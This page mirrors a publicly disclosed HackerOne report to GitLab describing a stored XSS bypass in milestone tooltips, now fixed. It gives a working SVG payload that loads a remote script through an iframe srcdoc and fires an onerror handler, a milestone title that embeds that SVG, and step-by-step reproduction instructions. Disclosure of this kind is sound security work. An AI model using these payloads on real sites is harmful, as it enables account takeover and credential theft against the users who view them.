Skip to content
XSS Disclosed report Intermediate

Stored XSS in milestone tooltips

GitLab

Originally disclosed on GitLab

  • Fixed in 6 months
  • Disclosed after 6 months

HackerOne report #1054401 by mike12 on 2020-12-08, assigned to @ngeorge1:

Report | Attachments | How To Reproduce

Report

Hi Gitlab!

I found a way to bypass the fix for my old report. See the vulnerable code.

This XSS works for:

  1. gitlab.com using Firefox (tested in Firefox 83.0)
  2. A self-hosted GitLab instance without CSP using Safari (tested in Safari 13.1)
Steps to reproduce using Firefox
  1. Open your browser and navigate to https://gitlab.com

  2. Create a new project

  3. Add a file named demo.svg to the project with the following content:

    SVG
    <svg id="x"  
         xmlns="http://www.w3.org/2000/svg"  
         width="100"  
         height="100"  
    >  
        <!-- gitlab.com using Firefox -->  
        <foreignObject>  
            <iframe xmlns="http://www.w3.org/1999/xhtml"  
                    srcdoc='<script src=https://gitlab.com/mike12-h1/csp/-/raw/master/index.js> </script>'></iframe>  
        </foreignObject>
    
        <!-- A self-hosted GitLab instance without CSP using Safari -->  
        <image href="foo" onerror="alert('onerror')"/>  
    </svg>  
    
  4. Navigate to Issues > Milestones

  5. Create a new milestone with the following title: <svg width="100"><use xlink:href="/<YOUR-USERNAME>/<YOUR-PROJECT>/-/raw/master/demo.svg#x" /></svg> (Replace <YOUR-USERNAME> and <YOUR-PROJECT> with your values)

  6. Navigate to Issues > List

  7. Create a new issue

  8. Collapse the right sidebar

1.png
1.png From the original on GitLab
  1. Click the milestone icon in the right sidebar
  2. Select the milestone created in step 5
  3. Hover your mouse over the milestone icon
2.png
2.png From the original on GitLab
Steps to reproduce using Safari
  1. Run a self-hosted Gitlab instance
  2. Repeat steps 2 through 11 from the "Steps to reproduce using Firefox" section.

Impact

An attacker can:

  1. Perform any action within the application that a user can perform
  2. Steal sensitive user data, including credentials

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity XSS bug in gitlab.com. GitLab made it public on 14 June 2021.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.